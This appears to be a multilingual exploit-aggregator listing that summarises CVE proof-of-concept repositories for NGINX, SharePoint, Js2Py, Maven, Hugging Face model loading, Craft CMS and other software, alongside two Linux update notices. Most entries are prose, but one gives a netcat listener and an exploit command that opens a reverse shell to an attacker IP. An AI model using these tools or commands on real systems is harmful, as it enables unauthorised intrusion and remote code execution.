fix_nginx_cve_2026_42945

NGINX CVE-2026-42945 一键修正スクリプト 自動的にシステムディストリビューションを検出し、NGINXを修正バージョン（≥1.30.1）にアップグレードし、設定をバックアップ、自動ロールバックを行います。 脆弱性説明 脆弱性ID： CVE-2026-42945 脆弱性名称：NGINX Rift NGINXが特定のrewriteリダイレクトルールを処理する際に、リクエスト内容の長さ計算と実際の書き込みが一致しません。攻撃者は悪意のあるリクエストを構築してメモリ破壊を引き起こし、ワーカープロセスのクラッシュやリモートコード実行を引き起こす可能性があります。...

CVE-2026-20841

CVE-2026-20841 PoC “Windows 记事本 RCE”漏洞的 PoC。 免责声明 1. 我不是这个漏洞的发现者。向官方披露页面上列出的原作者致敬。我只是根据描述重新创建了这个 PoC。 2. 我个人认为这个漏洞并没有看起来那么严重。触发它需要 不止 一次点击，除非目标系统满足特定条件。请参阅标准与限制部分。我重新创建这个 PoC 是因为它实在太有梗了。“记事本 RCE”听起来简直离谱。 描述 这个“漏洞”很简单。Windows 记事本的 Markdown 引擎不关心冷门的 URL 协议。作为一名恶意软件分析师，我读过许多关于基于 WebDAV 和 SMB...

OurSharePoint-CVE-2025-53770

OurSharePoint — CVE-2025-53770 PoC 独立自包含的单二进制 SharePoint RCE 工具。生成 TypeConfuseDelegate 利用链作为原始 MS-NRBF 字节（无需 ysoserial.exe），将其包装在 DataSet 反序列化载荷中，并通过 HTTP 利用身份验证绕过进行传递——全部一次性完成。 利用链 步骤| CVE| 描述 ---|---|--- 1| CVE-2025-49706| 身份验证绕过 — Referer: /layouts/SignOut.aspx 跳过 SharePoint 身份验证 2|...

CVE-2024-28397-Js2Py-RCE-Exploit

💡 深入阅读： 点击此处阅读完整技术简报（PDF）。 CVE-2024-28397：Js2Py 沙箱逃逸 Payload 生成器 一个针对 CVE-2024-28397 的专业 Payload 生成器。该工具生成恶意 JavaScript 代码，旨在逃逸 js2py 沙箱（版本 = 0.74）并在目标系统上执行任意命令。 🚨 漏洞详情 CVE 编号： CVE-2024-28397 受影响组件： Js2Py = 0.74 影响： 远程代码执行（RCE）/ 沙箱逃逸 机制： 利用 Object.getOwnPropertyNames 从 JavaScript 环境内部访问 Python 的...

mvn_pwn

MVN PWN 使用 "groovy-maven-plugin" 实现 RCE 的恶意 Maven pom.xml 包含完整依赖的载荷可在以下博客中找到： https://security.humanativaspa.it/abusing-mavens-pom-xml/...

gegl security update

An update is available for gegl. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list GEGL Generic Graphics Library is a graph-based image processing framework...

gegl04 security update

An update is available for gegl04. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list GEGL Generic Graphics Library is a graph-based image processing framework...

CVE-2026-38526-PoC-htb-nexus

CVE-2026-38526-PoC-htb-nexus CVE-2026-38526のPoCスクリプト。webkul krayin 2.2.xの/admin/tinymce/uploadエンドポイントにおけるファイルアップロード脆弱性を介したRCE（htb-nexus用に作成） 🛠 クイックスタートと使い方 1. リポジトリをクローン: root@kitploit: git clone https://github.com/Resolvdd/CVE-2026-38526-PoC-htb-nexus.git cd CVE-2026-38526-PoC-htb-nexus 2. Pytho...

CVE-2024-5932

Esta publicación es un artículo de investigación publicado por EQSTLab. ❗❗ IMPORTANTE ❗❗ Actualmente existen repositorios PoC falsos en GitHub que ejecutan xmrig. Consulta el siguiente enlace para más información : URL1: https://x.com/win3zz/status/1828704644987511107 URL2:...

CVE-2026-42945

CVE-2026-42945: NGINX Rift 堆缓冲区溢出漏洞 概述 CVE-2026-42945 是 NGINX 服务器中的一个严重堆缓冲区溢出漏洞，被称为 "NGINX Rift"。该漏洞存在于 NGINX 的 rewrite 和 set 指令处理逻辑中，当特定配置条件满足时，攻击者可以通过构造恶意请求触发堆溢出，导致拒绝服务（DoS）甚至潜在的远程代码执行（RCE）。 漏洞类型 ：堆缓冲区溢出 风险等级 ：高危 CVE ID ：CVE-2026-42945 影响范围 受影响版本 ：NGINX 0.6.27 1.30.0 不受影响版本 ：NGINX 1.31.0 及更高版本...

CVE-2025-69985

CVE-2025-69985: FUXA ≤1.2.8 における認証バイパスからRCEへのエクスプロイト 📌 概要 このリポジトリには、FUXA （バージョン ≤1.2.8）に影響する脆弱性 CVE-2025-69985 に関する概念実証（PoC）と詳細な技術文書が含まれています。この脆弱性により、攻撃者は 認証されていない状態で、アプリケーションのミドルウェアにおける認証バイパス を介してサーバー上で任意のコマンドを実行 （RCE）できます。 従来のWindowsのメモリオーバーフローなどの脆弱性とは異なり、この欠陥はミドルウェアの論理的な弱点...

CVE-2026-46275

CVE-2026-46725 — TYPO3 ceselector 拡張機能 RCE unserialize Cookie Bypass による PHP オブジェクトインジェクション → リモートコード実行 📋 目次 脆弱性について 技術詳細 要件 インストール 使用方法 例 出力形式 動作原理 参考資料 法的免責事項 🔍 脆弱性について...

CVE-2026-34156-NocoBase-Sandbox-Escape-via-Workflow-Execution-Vulnerability-

CVE-2026-34156 – NocoBase 沙箱逃逸（RCE） -orange 经过身份验证的远程代码执行 ，影响 NocoBase 版本 ≤ 2.0.26 ，可通过工作流沙箱逃逸触发。 📋 描述 CVE-2026-34156 是 NocoBase 工作流引擎中的一个沙箱逃逸漏洞。经过身份验证的攻击者可以创建一个恶意工作流，绕过表达式沙箱并在底层服务器上执行任意系统命令。 攻击向量 – 向 NocoBase API 发送经身份验证的 HTTP 请求 所需权限 – 低（任何拥有工作流创建权限的有效用户） 影响 – 完整的 RCE（如果以 root 身份运行，还可能实现容器逃逸） 🔧...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

Kali Linux上 - ターミナル1 nc -lvnp 4444 Kali Linux上 - ターミナル2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

CVE-2026-39292

CVE-2026-39292 – Falco Solutions PHPPageBuilder v0.31.0 中的任意文件上传导致远程代码执行 摘要： pagemanager/pagebuilder 模块中的一个文件上传漏洞允许已验证/未验证的攻击者上传任意文件，从而导致远程代码执行。 受影响版本： PHPPageBuilder v0.31.0 影响： 远程代码执行 供应商： Falco Solutions 致谢： 由 Krishnadev P Melevila 发现...

POC-CVE-2025-1094

POC CVE-2025-1094: PostgreSQL psql SQL注入 概念验证 针对 PostgreSQL 客户端 libpq 和 psql 工具中的严重 SQL 注入漏洞 📋 目录 1. 漏洞介绍 2. 项目目录结构 3. 攻击载荷分析 4. 使用指南 5. 修复与防范 1. 漏洞介绍 概述 CVE-2025-1094 是 PostgreSQL 客户端库 libpq 和命令行工具 psql 中的一个严重漏洞。该漏洞允许攻击者在应用已使用标准字符串转义函数（如 PQescapeLiteral）的情况下，实施 SQL 注入并升级为远程代码执行（RCE）。 根本原因 该问题源于...

CVE-2026-23001-Hugging-Face-Transformers-Model-Deserialization-Arbitrary-Code-via-Pickle-

CVE-2026-23001 – Hugging Face Transformers 模型反序列化远程代码执行 概述 使用 torch.save 保存的 Hugging Face 模型采用 Python 的 pickle 序列化，这本身是不安全的。如果用户从存储库下载了一个看似合法的模型，加载该模型就可能触发任意代码执行，从而危及整个环境。 漏洞详情 类型： 不安全反序列化 影响： 远程代码执行 根本原因： torch.load 未对 pickle 反序列化进行沙箱隔离；攻击者可以注入 reduce 方法，从而执行 shell 命令。 漏洞演示 1. 生成恶意模型：...

CVE-2025-32432

🔐 CVE-2025-32432 — Craft CMS RCE sin autenticación previa Ejecución remota de código sin autenticación previa en Craft CMS Descubierto y desarrollado porMohammed Idrees Banyamer 📌 Descripción general CVE-2025-32432 es una vulnerabilidad crítica de ejecución remota de código RCE sin autenticación...

CVE-2026-8838-RCE

CVE-2026-8838 — Amazon Redshift Python Driver: Remote Code Execution via eval ⚠️ Educational Use Only Research and demonstration project in offensive cybersecurity conducted exclusively for educational and awareness purposes. Any use on systems without explicit authorization is illegal. This...

PoC-2023-43208

CVE-2023-43208-EXPLOIT Mirth Connect 远程代码执行（RCE）漏洞利用 ⚠️ 仅供教育与实验室使用 ⚠️ 针对 CVE-2023-43208 的概念验证（PoC）漏洞利用程序，该漏洞是 Mirth Connect 4.4.1 之前版本中的一个远程代码执行漏洞。 🚨 重要法律声明 此工具严格仅用于： 🧪 教育目的 🔬 实验室环境中的授权安全测试 📚 网络安全研究与学习 请勿用于： ❌ 未经授权针对您不拥有的系统 ❌ 未获得明确书面许可 ❌ 生产环境 ❌ 非法或恶意目的 您有责任遵守所有适用的法律法规。滥用此工具可能导致刑事指控。 📋 描述 此漏洞利用程序针对...